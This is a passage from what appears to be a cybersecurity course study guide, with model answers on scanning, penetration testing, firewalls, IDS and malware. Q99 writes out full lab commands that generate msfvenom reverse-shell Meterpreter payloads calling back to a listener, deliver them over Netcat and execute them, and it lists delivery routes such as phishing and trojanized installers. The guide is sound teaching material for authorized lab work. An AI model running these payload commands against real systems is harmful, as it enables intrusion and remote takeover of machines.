(1) Is the asset in authorized scope? (2) Is the observation current and independently verifiable? (3) What port, protocol, product, version, and configuration are present? (4) Is the service required or is exposure unnecessary? (5) Which known weaknesses, CVEs, or scanner checks might apply? (6) Which prerequisites and compensating controls affect exploitability? (7) What is the safest validation method? (8) What evidence should be recorded? (9) What remediation is appropriate and how will retesting confirm it?

Q63: Explain UDP scanning (-sU) and why it is harder to interpret than TCP scanning.

Model Answer:

UDP is connectionless. A returned UDP response may indicate open; ICMP port unreachable indicates closed; silence often becomes open|filtered. UDP scanning is harder because: (1) No handshake mechanism to definitively confirm open/closed. (2) Many services don't respond to empty probes. (3) Rate limiting on ICMP responses slows scanning. (4) Results are often ambiguous (open|filtered). (5)

Scanning all 65535 UDP ports takes much longer than TCP.

Despite difficulty, UDP scanning matters because critical services (DNS port 53, SNMP port 161, DHCP) use UDP.

Q64: Explain nmap -sn vs -Pn vs -sL. When would you use each?

Model Answer:

-sn: Host discovery only, no port scan (formerly -sP). Use for ping sweep to find alive hosts. -Pn: Skip discovery, treat all targets as online. Use when probes are filtered. Warning: dramatically increases work on large ranges. -sL: List targets without sending any probes. Use to check target expansion and reverse DNS before touching the environment.

Key: -sn discovers hosts, -Pn assumes all up, -sL just lists without network interaction.

Automated Scanners & Web Tools

Q65: What can automated scanners do and what are their five key limitations?

Model Answer:

Scanners accelerate discovery with repeatable checks and severity-based findings. Five limitations: (1) **False positive:** Reports weakness that doesn't apply. (2) **False negative:** Misses real weakness. (3) **Coverage gap:** Different tools see different parts. (4) **Context gap:** Technical severity != business risk. (5) **Operational impact:** Some checks destabilize targets.

Q66: Compare authenticated and unauthenticated vulnerability scanning.

Model Answer:

Unauthenticated: Externally visible services. Models external attacker. Misses patch levels, local packages, internal configs.

Authenticated: Logs in to inspect local state. Broader and more accurate. Lab 2 example: authenticated Nessus found Critical 27 vs 11, High 97 vs 7. New findings: Shellshock, weak SSH keys, 229 Ubuntu CVEs, user enumeration -- all invisible externally.

Credential handling, least privilege, and secure storage are critical for authenticated scans.

Q67: Compare Nessus and GVM/OpenVAS from Lab 2.

Model Answer:

GVM found more on Linux: MySQL/PostgreSQL default credentials, DistCC RCE, dRuby RCE, PHP CGI RCE, Ghostcat, Samba RCE, LFI, rlogin passwordless root. More aggressive active checks. Open-source, no scan limits.

Nessus found: entire MS3 Windows host (GVM failed to scan it), better grouping, faster, better Windows/SMB/RDP support.

Neither alone is sufficient. Both together give the most complete picture.

Q68: Describe Burp Suite's role in web-application assessment.

Model Answer:

Burp Suite is a web-app assessment proxy between browser and authorized target. Capabilities: (1) Passive crawl/site map -- structured view of paths. (2) HTTP history -- review requests/responses. (3) Intercept -- pause request to inspect before forwarding. (4) Modify and forward -- test application behavior with changed parameters. (5) Drop -- prevent request from reaching target.

Caution: Automated active web scans submit forms and generate many requests. Never run against production without explicit approval, test data, and agreed operational window.

Q69: Explain GVM/OpenVAS components.

Model Answer:

OpenVAS Scanner: Scanning engine executing vulnerability tests. **Greenbone Security Assistant:** Web interface for scan control and results. **NVT (Network Vulnerability Test):** Test definition checking for specific weakness. **Task:** Configured scan job against targets. **Severity/CVSS views:** Summarize technical severity -- do not replace asset-context analysis.

GVM automates assessment through vulnerability tests with dashboards, severity summaries, and CVE information.

Validation, Reporting & Lab 2 Scenarios

Q70: Why should scanner output be treated as a hypothesis? What validation questions apply?

Model Answer:

Each finding must be validated because scanners produce false positives and miss context. Questions: (1) Is the host/service still present? (2) Does detected product/version match reality? (3) Do vulnerability prerequisites apply? (4) Can the issue be confirmed safely? (5) What is the evidence? (6) What is the actual risk (technical severity + asset value, exposure, data sensitivity, controls)?

Q71: Describe the structure of a vulnerability assessment report.

Model Answer:

(1) Executive summary. (2) Scope and methodology. (3) Finding title and identifier (CVE/CWE). (4) Affected assets (hosts, ports, versions). (5) Evidence (output, screenshots, timestamps). (6) Impact and priority. (7) Remediation (patch, upgrade, restrict). (8) Retest status.

Q72: Describe the remediation and retesting loop.

Model Answer:

(1) Assign owner and deadline. (2) Apply fix: patch, upgrade, harden, restrict, remove, or add compensating control. (3) Retest using authorized low-impact method. (4) Confirm vulnerability resolved and service operates correctly. (5) Update report and baseline. Continue periodic reassessment because systems and vulnerability knowledge change.

Q73: Define phishing, spear phishing, and spam. Describe common phishing mechanisms and defensive checks.

Model Answer:

Phishing: Deceptive attempt to obtain sensitive info or trigger unsafe action. **Spear phishing:** Targeted at specific person/role/organization using context. **Spam:** Unsolicited bulk messages (may contain phishing but terms are different).

Mechanisms: fake websites mimicking legitimate services, malware delivery via attachments, trust/context/urgency abuse.

Defensive checks: verify real sender, inspect actual URL before clicking, treat unexpected requests cautiously, use independent navigation, report suspicious messages, use MFA.

Q74: From Lab 2, compare which vulnerabilities were predictable from Nmap alone vs requiring Nessus/GVM.

Model Answer:

From Nmap: UnrealIRCd backdoor (version detected), bind shell on 1524, SSLv2 on SMTP, Telnet, NFS, VNC.

Required Nessus/GVM: Specific CVEs for Apache/PHP/Tomcat, Samba Badlock, SSL DROWN, SNMP misconfigs, RDP MITM, OS end-of-life, VNC default password, MySQL/PostgreSQL credentials,

DistCC/dRuby RCE.

Lesson: Nmap excels at discovery; scanners correlate with CVE databases and perform active checks. Multiple tools give the most complete picture.

Q75: Describe the Metasploit Framework module types and their relationship to vulnerability assessment.

Model Answer:

Auxiliary: Scanners, fuzzers, login checks -- can support discovery. **Exploit:** Vulnerability-specific -- only when explicitly authorized. **Payload:** Code after exploitation -- moves beyond assessment. **Post:** After session exists -- later pen-test stages. **Encoder/NOP/Evasion:** Technical components.

Boundary: discovering a module exists = research. Running it = active exploitation. Never cross without authorization. Encoders do NOT guarantee AV/IDS bypass.

Q76: From Lab 2, what potential false positives were identified in the GVM scan?

Model Answer:

(1) EasyPHP vulnerabilities: GVM flagged because phpinfo() was exposed, but actual product is not EasyPHP. (2) QWikiwiki directory traversal: Mutillidae misidentified. (3) awiki LFI: same misidentification.

These demonstrate why scanner output = hypothesis. Each finding must be manually verified: check actual product/version, determine if conditions apply, confirm or dismiss. False positives waste remediation effort and damage report credibility.

PART 3: LECTURE 3 & LAB 3

Chapter 03: Penetration Testing

Penetration Testing Fundamentals

Q77: Define penetration testing, compare with VA and threat modeling, and state its core limitation.

Model Answer:

Pen testing is an authorized simulated attack demonstrating whether weaknesses can produce meaningful impact. Evidence-driven: shows what was tested, what happened, and what to fix.

VA asks 'what weaknesses exist?' (inventory). Pen testing asks 'can they be exploited?' (proof of impact). Threat modeling asks 'what could go wrong in design?' (structured model).

Core limitation: NOT a guarantee of security. Bounded by time, scope, credentials, techniques, tool coverage, tester knowledge. Complements secure design, hardening, monitoring, incident response.

Q78: Describe the standard penetration-testing workflow (six phases).

Model Answer:

(1) **Permission/rules of engagement:** Authority, scope, dates, allowed techniques, emergency contacts. No action before written permission. (2) **Information gathering.** (3) **Threat modeling/test design:** Prioritize high-value scenarios. (4) **Vulnerability analysis:** Validate before exploit selection. (5) **Controlled exploitation:** Least harmful proof needed. Stop conditions and rollback plans. (6) **Reporting, remediation, retesting:** Evidence must be reproducible, minimal, protected.

Q79: Explain the hacker taxonomy: black hat, white hat, grey hat, script kiddy.

Model Answer:

Black hat: Malicious intent -- profit, damage, destruction. **White hat:** Ethical hacking with permission -- actions must remain in scope and proportionate. **Grey hat:** May believe goal is beneficial but hacks without permission -- self-image doesn't override legal boundaries. **Script kiddy:** Relies on tools without understanding -- the problem is uncritical use, not tool use itself.

Distinction lies in authorization, purpose, scope, documentation, and accountability.

Q80: Explain trust in privileged access and Kant's categorical imperative as an ethical lens.

Model Answer:

Systems depend on trust in administrators, operators, developers, testers. Controls like encryption, separation of duties, logging, and least privilege reduce trust required. Complete trust breakdown is expensive.

Kant's imperative applied: Would this action be acceptable if everyone with the same access acted the same way? In practice: Is this authorized? Is it necessary? Is there a safer proof? Could it disrupt service? Can it be reversed? Is evidence being protected? Would the client approve?

Q81: Why is penetration testing of internet-facing edge systems particularly important? Reference the lecture's incident examples.

Model Answer:

Edge devices (firewalls, VPNs, remote access) sit at trust boundaries, are reachable from outside, and can become paths into internal networks. The lecture references FortiGate, Ivanti Connect Secure, VPN zero-days, and LockBit ransomware.

Lessons: (1) Test externally reachable control points first -- compromise bypasses perimeter assumptions. (2) Validate configuration, not just version. (3) Treat access as the beginning -- footholds lead to lateral movement. (4) Retest after remediation -- patching one weakness doesn't close the entire path.

Q82: Explain the NIS2 Directive's connection to penetration testing.

Model Answer:

NIS2 requires covered entities to use appropriate cybersecurity risk-management measures, including vulnerability handling/disclosure and policies to assess effectiveness of cybersecurity measures. Penetration testing can assess effectiveness.

However: the Directive does NOT require every entity to always perform the same test on the same schedule. Applicability depends on sector, entity type, national implementation, and risk context. Penetration testing is one tool among many for demonstrating compliance.

Netcat -- Pipes, Shells & File Transfer

Q83: What is Netcat? Explain key flags (-l, -v, -n, -p, -e).

Model Answer:

Netcat (nc) reads and writes bytes over TCP/UDP connections. Can act as client or listener. -l: listen. -v: verbose. -n: numeric (no DNS). -p: specify port. -e: execute program after connection (dangerous; many modern builds omit this). Variant warning: several implementations exist with different features.

Q84: Compare bind shells and reverse shells.

Model Answer:

Bind shell: Target listens with shell attached; tester connects inbound. Requires inbound reachability. Often blocked by firewalls/NAT.

Reverse shell: Tester listens; target connects outbound and attaches shell. Outbound connectivity is often easier. Demonstrates impact clearly. Still detectable by endpoint controls and egress filtering.

Reverse shells are common because firewalls restrict inbound more than outbound.

Q85: Explain Netcat file transfer and its security limitations.

Model Answer:

Sender: nc -lvp [port] < file_to_send. Receiver: nc [ip] [port] > received_file. Limitations: unencrypted stream, no authentication, no integrity verification. Should remain inside isolated lab only. This is a protocol demonstration, not a secure transfer mechanism.

Q86: Describe DNS commands used before exploitation: nslookup, host, host -a, dig +trace.

Model Answer:

nslookup www.google.com: Query DNS for hostname/address mapping. Simple, interactive. **host www.google.com:** Concise DNS lookup for quick mapping. **host -a gmail.com:** Request verbose DNS info, may reveal several record types. **dig +trace www.google.com:** Trace DNS delegation from root -- useful for understanding resolution path and authoritative servers.

DNS is hierarchical -- records reveal mail systems, aliases, nameservers, and delegation paths, helping testers understand infrastructure before deeper checks.

Metasploit Framework

Q87: Describe the seven Metasploit module categories. What is the boundary between research and exploitation?

Model Answer:

(1) **Auxiliary:** Scanners, fuzzers, login checks -- no exploit payload. (2) **Exploit:** Vulnerability-specific, triggers impact. (3) **Payload:** Code executed after exploitation. (4) **Post:** Actions after session exists.

(5) **Encoder**: Transforms bytes -- NOT reliable AV/IDS bypass. (6) **NOP**: Buffer support. (7) **Evasion**: Controlled detection testing.

Boundary: Discovering a module exists = research. Running it against a system = active exploitation. Never cross without written authorization.

Q88: Explain key Metasploit commands and datastore options. Why does direction matter?

Model Answer:

Commands: msfconsole, search, use, info, show options, show missing, set, run/exploit, back, exit.

Options: RHOST/RHOSTS (remote target), RPORT (target port), LHOST (local callback address), LPORT (callback port), PAYLOAD (session type), SESSION (existing session ID).

R = remote target, L = local listener. For reverse payloads, target connects to LHOST:LPORT. Wrong direction = no session.

Q89: Why should you never blindly download and run exploits from the internet?

Model Answer:

A public proof of concept may be: (1) Incorrect -- targeting wrong version/config. (2) Destructive -- causing DoS instead of clean exploit. (3) Backdoored -- containing hidden malicious code targeting the tester. (4) Designed for a different environment.

Precautions: review code, understand preconditions, prefer trusted sources (official Metasploit), use isolated targets, validate target matches module requirements, check module notes and side effects.

Lab Exploitation Cases & Post-Exploitation

Q90: Describe the vsFTPD 2.3.4 backdoor lab case. Why does a shell appear on port 6200?

Model Answer:

The backdoor in vsFTPD 2.3.4 (CVE-2011-2523): when a trigger (username containing ':') is sent to FTP on port 21, malicious code forks a process binding /bin/sh to port 6200. The exploit module automates this. The lecture emphasizes reproducing without Metasploit to understand underlying behavior rather than treating the framework as a magic button.

Q91: Describe the EternalBlue lab case.

Model Answer:

Targets MS17-010 SMB vulnerability on MS3 (Windows Server 2008 R2). Module: exploit/windows/smb/ms17_010_eternalblue. Set RHOSTS (target), LHOST (Kali for callback). Creates a Meterpreter session. Result: NT AUTHORITY\SYSTEM -- highest Windows privilege, complete control without any credentials needed.

Q92: What is post-exploitation? Describe the five governing principles.

Model Answer:

Post-exploitation begins after session exists. Demonstrate impact with minimum intrusion.

(1) **Data minimization**: Only evidence needed to prove findings. (2) **Scope containment**: Don't pivot or escalate without ROE approval. (3) **Non-harm**: Avoid disruption, data alteration, persistence unless approved. (4) **Evidence protection**: Secure storage, agreed deletion. (5) **Cleanup**: Remove all test artifacts, sessions, payloads.

Q93: Describe key Meterpreter commands and post modules.

Model Answer:

Commands: sysinfo, getuid, arp, netstat, ps, ls/cd, download/upload, screenshot. Post modules: enum_logged_on_users, checkvm, enum_applications, enum_protections, hashdump (highly sensitive), enum_network. Camera/microphone/keylogging: extremely intrusive, never activate without separate authorization and legal review.

Q94: From Lab 3, what information was accessible after root on MS2 and SYSTEM on MS3?

Model Answer:

MS2 (root): Full filesystem. Password hashes from /etc/shadow (MD5, crackable). Users: root, msfadmin, user, service, postgres. All running services visible. Persistence: bindshell on 1524, vsftpd backdoor, UnrealIRCd backdoor.

MS3 (SYSTEM): Unrestricted Windows access. EOL OS (2008 R2 SP1). Software: Elasticsearch, Jenkins, WordPress, GlassFish. Confirmed credentials: vagrant:vagrant. Full C:\ access.

Demonstrates: single vulnerability -> complete system compromise -> credential harvesting -> potential lateral movement.

Q95: From Lab 3, describe the VNC login case and what security lesson it teaches.

Model Answer:

VNC case on MS2: (1) Search auxiliary/scanner/vnc/vnc_login. (2) Set RHOSTS, run scanner. (3) Reports successful login with password 'password' on port 5900. (4) Validate with VNC viewer -- desktop reachable.

Lessons: A working credential is a security finding even without software exploit. Credential checks can cause lockouts -- scope and rate control matter. Impact demonstrated with least invasive proof (authenticated access without changing data).

Q96: For each offensive observation, describe the defensive control: unexpected ports, reverse shells, weak VNC creds, outdated FTP, SMB exploitation, post-exploitation, payload execution.

Model Answer:

Unexpected ports: asset inventory, host firewall, process monitoring. Reverse shells: egress filtering, DNS/proxy controls, endpoint monitoring, parent-child process detection. Weak VNC: disable unnecessary services, strong auth, restrict access. Outdated FTP: remove/replace, patch, segment. SMB exploitation: patch promptly, reduce exposure, segment, monitor SMB. Post-exploitation enumeration: alert on unusual process/network/credential/file activity. Payload execution: application control, endpoint protection, sandboxing, behavioral detection.

MSFvenom & Payloads

Q97: What is MSFvenom? Describe key flags and the reverse payload lifecycle.

Model Answer:

MSFvenom generates Metasploit-compatible payloads. Flags: -p (payload), -f (format: exe/elf), -a (architecture), --platform, -e (encoder -- NOT reliable bypass), -o (output file), LHOST/LPORT (callback).

Lifecycle: (1) Generate payload. (2) Prepare handler (multi/handler). (3) Deliver inside lab. (4) Execute -- target calls back. (5) Observe and clean up.

Boundary: Generating != authorizing delivery. Delivering != authorizing execution. Each stage needs scope, controls, cleanup.

Q98: What is the difference between remote and local exploits? Why does this matter?

Model Answer:

Remote: Reached over network -- no prior access needed (e.g., EternalBlue). Higher risk. **Local:** Requires existing foothold (e.g., privilege escalation). **File-format/browser exploit:** Depends on delivery/execution path.

Matters because: changes attack prerequisites, affects attack surface, determines testing workflow (local exploits used for privilege escalation after initial access), and impacts remediation priority (remote exploits on internet-facing services need immediate attention).

Q99: From Lab 3, describe how payloads were created, delivered, and executed on both targets.

Model Answer:

Creation: Linux: `msfvenom -a x86 --platform linux -f elf -p linux/x86/meterpreter/reverse_tcp lhost=10.0.2.3 lport=4444 -o payload.elf`. Windows: same with `--platform windows -f exe -o payload.exe`.

Delivery via Netcat: Target receives (`nc -lvnp 5555 > payload.elf`), Kali sends (`nc 10.0.2.4 5555 < payload.elf`). MS2 accessed via bindshell to set up receiver.

Execution: Linux: `chmod a+x payload.elf && ./payload.elf`. Windows: `payload.exe`. Handler: `exploit/multi/handler` with matching LHOST/LPORT. Must match exactly or no session.

Other delivery methods: phishing, malicious website, USB drop, exploiting another vuln to download/execute, embedding in legitimate installer, SMB share.

Q100: From Lab 3, a brute force attack cracked the bcrypt hash 'spongecola'. What does this demonstrate?

Model Answer:

Even strong hashing (bcrypt) cannot protect accounts if the original password is weak, common, or in leaked lists. 'spongecola' was found in `rockyou.txt`.

Lessons: (1) Password security depends on BOTH algorithm AND choosing strong, unique passwords. (2) Strong hashing slows brute force but can't prevent dictionary attacks against common passwords. (3) Leaked password lists contain millions of real passwords. (4) Defense requires: strong hashing + strong password policies + rate limiting + account lockout + MFA.

PART 4: LECTURE 4 (Lecture Only)

Chapter 04: Firewalls, IDS, and Incident Response

Firewall Fundamentals

Q101: Define firewall, list capabilities, and explain the policy perspective.

Model Answer:

A firewall is a control between networks/zones with different trust levels, acting as a choke point. Capabilities: access control, monitoring/auditing, alarm generation, NAT, VPN termination, gateway/proxy role, resistance to attack (must be hardened).

Policy perspective: A firewall enforces explicit technical policy -- it doesn't decide if traffic is 'good or bad.' Poor placement, missing rules, broad exceptions, or compromise make it ineffective.

Q102: What are the limitations of a firewall? What complementary controls are needed?

Model Answer:

Cannot protect against: (1) Bypassing the path -- removable media, unofficial modems, encrypted channels hiding content. (2) Internal threats -- insiders already inside. (3) Weak wireless -- exposed WLAN bypassing perimeter. (4) Imported malware -- infected devices brought in physically.

Defense in depth: firewall is one layer. Security needs preventive, detective, and responsive controls so one failure doesn't expose everything.

Q103: Compare four firewall categories: static packet filter, stateful, circuit-level gateway, application-level gateway.

Model Answer:

Static packet filter: Individual packet headers. Fast but no connection memory, no application semantics. **Stateful:** Headers + session/flow context. Permits valid return traffic, rejects out-of-context packets. Limited application meaning. **Circuit-level gateway:** Transport-layer session validation. Relays after acceptance. Usually no payload inspection after setup. SOCKS example. **Application-level gateway (proxy):** Application-specific intermediary (HTTP, FTP). Strongest visibility/policy. Higher cost and complexity.

Trade-off: packet filter -> application proxy increases security visibility but also complexity and performance cost.

Packet Filters & ACLs

Q104: Explain default-deny vs default-allow. Why is default-deny preferred?

Model Answer:

Default deny: Traffic blocked unless explicitly allowed. Safer -- new/forgotten services blocked by default. Requires careful rule design. **Default allow:** Traffic passes unless explicitly blocked. Easier initially but exposes services when rules are incomplete.

Default deny is preferred: fail-safe posture, forces deliberate decisions, more auditable. With default allow, administrator must anticipate every threat -- impractical.

Q105: What fields does a static packet filter examine? Advantages and disadvantages.

Model Answer:

Fields: interface, source IP, destination IP, transport protocol, source port, destination port.

Advantages: fast, simple, can do NAT, inexpensive, no client config needed. Disadvantages: no application semantics, can't detect attacks in allowed protocols, rule complexity grows, permitted != legitimate, must model reply traffic explicitly, exposed to evasion.

Q106: How do ordered ACLs work? Why does rule order matter? How does stateful filtering help?

Model Answer:

ACL: ordered rules applied top-to-bottom. First match decides. A broad allow before a narrow deny defeats the deny. Final deny-all makes default-deny explicit.

Stateful filtering helps: stateless ACLs need explicit return-traffic rules (complex, error-prone). Stateful firewalls track connections -- know an internal client initiated a request and automatically allow valid return packets.

Q107: Describe three attacks on packet filters: IP spoofing, source-routing, tiny-fragment.

Model Answer:

IP spoofing: Fake trusted source address. Mitigation: ingress/egress filtering, anti-spoofing rules, routing validation. **Source-routing:** Sender specifies route bypassing filters. Mitigation: reject source-routed packets. **Tiny-fragment:** Headers split across small fragments hiding transport info. Mitigation: discard suspicious fragments, reassemble before checking, stateful controls.

Q108: Explain stateful packet filtering. What are its strengths and remaining limitations?

Model Answer:

Stateful filters maintain connection/flow context. They inspect packets in relation to known sessions and decide whether packets validly belong to permitted exchanges.

Strengths: (1) Tracks sessions so return traffic allowed by state, not broad static rules. (2) Rejects out-of-context packets even with plausible port numbers. (3) Application-independent at core -- protects many apps without separate proxies. (4) Good performance balance -- faster than full proxy, stronger than stateless.

Remaining limitation: less application-specific control than a full proxy. May not understand malicious content inside an allowed session.

Gateways, DMZ, VPN & Architecture

Q109: Compare circuit-level and application-level gateways.

Model Answer:

Circuit-level: Validates transport sessions, maintains state (session ID, state, sequencing, addresses). Faster than application proxy. Can shield internal addresses. Cannot inspect application content. SOCKS example.

Application-level (proxy): Application-specific intermediary (HTTP, FTP). Terminates one side, initiates other. Can evaluate URLs, commands, authentication. Strong visibility and logging. Slower, requires application-specific support, may need client config changes.

Q110: What is a DMZ? Design principles and why public services shouldn't be on the internal network.

Model Answer:

DMZ: separated zone for services needing external exposure but not directly inside protected network. Compromise of public server shouldn't give unrestricted internal access.

Principles: (1) Public services in separated zone. (2) Filter Internet-to-DMZ traffic. (3) Filter DMZ-to-internal strictly. (4) Monitor both directions. (5) Harden exposed services.

Architecture: Internet -> router -> external firewall -> DMZ -> internal firewall -> internal network.

Q111: What is a VPN? Properties and important limitation.

Model Answer:

VPN: protected logical connection across untrusted network. Properties: confidentiality (encryption), integrity/authentication (IPsec), site-to-site tunnels, remote-access tunnels.

Important limitation: protects traffic in transit but does NOT guarantee endpoints are trustworthy, patched, authorized, or malware-free. A compromised laptop via VPN still brings malware inside.

Q112: What is a bastion host? What is a distributed firewall? Why is perimeter security insufficient?

Model Answer:

Bastion host: Hardened system exposed to hostile traffic. Hardened OS, essential services only, extra authentication.

Distributed firewall: Policy at multiple points -- boundary controls, DMZ controls, internal segmentation, host-resident firewalls, remote-user controls.

Perimeter alone is insufficient: internal threats bypass it, infected devices bypass it, encrypted channels hide content, wireless may bypass it. Strong design: trust zones, necessary flows only, monitoring, controls at critical hosts.

Q113: Explain NAT. Why is it not a complete security policy?

Model Answer:

NAT (Network Address Translation) translates addresses at a boundary, hiding or mapping internal addresses. It can obscure internal network structure from external observers.

NAT is NOT complete security because: (1) It only changes addressing -- doesn't inspect content or enforce security policy. (2) Doesn't prevent attacks against services that are port-forwarded. (3) Doesn't protect against internal threats. (4) Doesn't validate whether traffic is legitimate. (5) NAT traversal techniques exist. NAT is an addressing tool, not a security mechanism -- it must be combined with proper firewall rules, monitoring, and access controls.

IDS & IPS

Q114: Define IDS and describe its information sources.

Model Answer:

IDS monitors network/system activity to identify malicious behavior. Transforms raw activity into evidence for investigation.

Sources: (1) Network traffic capture. (2) Host-level activity (processes, files, authentication). (3) Collected logs. (4) System-state statistics (baselines, deviations). (5) Fused information from multiple sources for higher confidence.

Q115: Compare HIDS, NIDS, and LIDS.

Model Answer:

HIDS (host-based): Monitors endpoint info. Sees local events invisible on network. Requires per-host coverage. **NIDS (network-based):** Captures network traffic. Monitors broad patterns. Limited by encryption, placement gaps, high volumes. **LIDS (logging-based):** Analyzes collected logs. Combines existing evidence. Depends on log completeness and integrity.

Q116: Compare misuse/signature detection vs anomaly detection.

Model Answer:

Misuse/signature: Known attack signatures. Effective for known attacks. Failure: false negatives -- unknown/modified attacks evade detection. **Anomaly:** Deviation from normal behavior. Can find novel activity. Failure: false positives -- unusual legitimate behavior triggers alerts.

Detection is probabilistic. An alert is evidence to interpret, not a verdict. Balance: missed attacks vs excessive false positives.

Q117: Distinguish IDS from IPS. When is automatic reaction appropriate?

Model Answer:

IDS (passive): Detects and reports. Human decides response. **IPS (reactive):** Can automatically block/isolate. Risk: incorrect decisions cause DoS.

Factors: (1) Confidence -- low confidence shouldn't auto-block. (2) Impact of delay. (3) Blast radius -- narrow isolation better than broad block. (4) Reversibility -- temporary/logged controls safer. (5) Monitoring -- automated actions must be visible and reviewed.

Q118: What is a honeypot? Explain intrusion deflection, blocking, and deterrence.

Model Answer:

Honeypot: Monitored decoy with fake services/data. Detects attacks, learns techniques, collects forensics. Must be isolated. **Preemptive blocking:** Block user/IP before intrusion. Risk: blocking legitimate users. **Deterrence:** Signal monitoring capability. Limited effectiveness depending on attacker motivation.

Q119: Compare Suricata, Snort, and Zeek as open-source IDS/IPS options.

Model Answer:

Suricata: Network-threat detection engine with signature-based inspection and protocol analysis. Question: does deployment need network IDS/IPS with integration into monitoring stack?

Snort: Network intrusion detection/prevention using rules and packet inspection. Question: can the organization maintain rules, place sensors correctly, handle traffic volume?

Zeek (formerly Bro): Network security monitor producing rich protocol-oriented logs and event data for analysis. Question: does the workflow need detailed network telemetry rather than only signature alerts?

Selection depends on system context and requirements, not name recognition.

Q120: What is the IDS operational summary? What does an effective detection program require?

Model Answer:

An effective detection program: (1) Isolates security-relevant events from noise. (2) Fuses information from several sources. (3) Collects logs from services and firewalls. (4) Captures network activity where appropriate. (5) Uses automatic systems to analyze the flood of events. (6) Monitors system state with supporting statistics. (7) Acts on analytics where confidence and risk justify action.

Detection is probabilistic -- not every alert is a confirmed incident. Engineering balances missed attacks, false positives, available context, and response cost.

Incident Response & Key Distinctions

Q121: Describe immediate incident response steps.

Model Answer:

(1) **Verification:** Is the event real or false positive? (2) **Interpretation:** What actually happened? Which systems involved? (3) **Scope assessment:** Actual and possible consequences? How far could it extend? (4) **Classification/prioritization:** How urgently must the organization act?

Q122: Describe next steps: forensics, restoration, communication. What is the central trade-off?

Model Answer:

Forensics: What went wrong? Secure evidence (logs, disk images, memory captures). Must be reliable/defensible. **Restoration:** What returns first? Backups usable? How to rebuild safely?

Communication: Who needs info? Messages must be accurate, coordinated, updated.

Trade-off: forensics and restoration counteract each other. Evidence must be protected but business needs rapid recovery. Prepare priorities, roles, escalation, communication BEFORE incidents.

Q123: Explain key distinctions: firewall vs IDS, IDS vs IPS, stateless vs stateful, circuit vs proxy, DMZ vs internal, VPN vs trusted endpoint, alert vs confirmed incident.

Model Answer:

Firewall enforces policy; IDS observes/analyzes. IDS detects/reports; IPS auto-blocks (availability risk). Stateless examines packets independently; stateful tracks sessions. Circuit gateway validates sessions without deep payload; application proxy understands specific protocols. DMZ has more-exposed services separated from internal. VPN protects transit but doesn't prove endpoint safety. Alert needs validation; confirmed incident is evidence-supported.

Q124: Design a network architecture for a company with web server, email server, and internal database using firewalls and DMZ principles.

Model Answer:

Architecture: Internet -> Boundary Router -> External Firewall -> DMZ -> Internal Firewall -> Internal Network.

DMZ: web and email servers (need internet exposure, higher risk). Internal: database server behind internal firewall. Web/email servers get restricted, specific access to database only (specific ports, specific source IPs).

External firewall: allow HTTP/HTTPS to web, SMTP to email, deny all else. Internal firewall: allow DMZ web to DB on specific port only, deny all other DMZ-to-internal. Both use default-deny. Additional: host-based firewalls, IDS monitoring both zones, VPN for remote admin, stateful inspection, logging on all components.

PART 5: LECTURE 5 & LAB 5

Chapter 05: Malware and SQL Injection

Malware Fundamentals & Terminology

Q125: Define malware, virus, worm, payload, and vector.

Model Answer:

Malware: Software designed for harmful/unauthorized actions. Broad: viruses, worms, Trojans, ransomware, spyware, rootkits. **Virus:** Attaches to file, self-replicates when triggered. Usually needs human action. **Worm:** Self-replicates without requiring user action. Propagates automatically. **Payload:** The action after delivery -- encryption, data theft, backdoor. **Vector:** Route to target -- email, network share, website, USB.

Q126: Compare viruses and worms in propagation, user action, and defensive priorities.

Model Answer:

Both self-replicate. Virus: commonly requires trigger (opening infected file). Spreads via file exchange, email, media. Defense: control execution, scan, train users, patch. Worm: propagates automatically via reachable services. Defense: patch services, segment networks, monitor traffic, contain quickly.

Real malware blends behaviors -- classify by observed mechanisms, not just name.

Q127: Compare malware and SQL injection as two ways to misuse trust.

Model Answer:

Malware trust failure: System executes untrusted code. Consequences: unauthorized execution, persistence, theft, encryption, backdoors. Defense: reduce execution of untrusted code, update, filter, endpoint defense, backups.

SQL injection trust failure: Application mixes untrusted data with SQL commands. Consequences: unauthorized reads, login bypass, modification, deletion. Defense: parameterized queries, validate inputs, limit DB privileges, protect secrets.

Virus Families, Evasion & Propagation

Q128: Describe malware propagation routes: email, network, website, USB.

Model Answer:

Email: Attachments/links. Controls: filtering, block risky types, scan, sandbox, disable macros, train users. **Network/shares:** Exploits trust in shared storage, reaches vulnerable services. Controls: segment, patch, limit write access, scan. **Website:** Downloads appearing useful. Controls: patch browsers, filter downloads, restrict execution. **USB:** Crosses network boundaries. Controls: control media, scan, restrict autorun.

Q129: Describe malware categories: macro, multi-partite, armored, memory-resident, sparse infector, polymorphic.

Model Answer:

Macro: Macros in office docs -- looks ordinary. **Multi-partite:** Multiple methods (backdoor + shell + downloads) -- removing one part may not suffice. **Armored:** Encoding/packing/obfuscation -- hides from analysis. **Memory-resident:** Active in RAM -- disk inspection misses it. **Sparse infector:** Low frequency -- evades thresholds. **Polymorphic:** Changes form, preserves behavior -- signatures fail.

Categories NOT mutually exclusive -- one sample can combine several.

Q130: Why do new malware strains proliferate easily?

Model Answer:

(1) Small config changes (IPs, domains) produce distinct campaigns. (2) Script-based malware easy to modify. (3) Reverse engineering (Ghidra) exposes logic. (4) Working components reused/combined. (5)

Creation toolkits lower expertise needed.

Implications: don't rely on exact hashes/signatures alone. Detect behavior and execution chains. Treat incidents as multi-stage. Prioritize hygiene and layered detection.

Q131: Explain the Morris worm lesson. What principles about authorization and uncontrolled code does it illustrate?

Model Answer:

The Morris worm exploited sendmail and remote shell weaknesses. Intent was demonstrating security inadequacies, but defects allowed repeated infections, consuming resources and disrupting availability.

Lessons: (1) Intent doesn't eliminate responsibility. (2) Propagation bugs amplify harm beyond plan. (3) Exposed services enable automatic spread. (4) Authorization is essential -- security testing only under explicit permission and controlled scope. Relevant today: any self-propagating/scanning code without authorization can cause uncontrolled operational impact.

Ransomware, Trojans, Spyware & Rootkits

Q132: Explain ransomware: staged delivery, impact, and why paying doesn't guarantee recovery.

Model Answer:

Stages: (1) Initial access (macro, attachment, exploit). (2) Secondary download (retrieves main payload). (3) Encryption/denial. (4) Extortion demand.

Defenses: filter content, patch, limit macros (initial). Monitor scripts, outbound connections (secondary). Offline/immutable backups, segment, detect mass file changes (encryption). Prepare IR/legal/communication (extortion).

Paying doesn't guarantee: decryption keys may not work, additional payment demanded, data already stolen regardless, funds criminal activity.

Q133: What is a Trojan horse? How do wrappers work? How does a Trojan differ from a virus?

Model Answer:

Trojan: appears benign but performs hidden malicious actions. Relies on deception -- victim voluntarily executes it. Behaviors: downloads malware, installs keyloggers, opens backdoors.

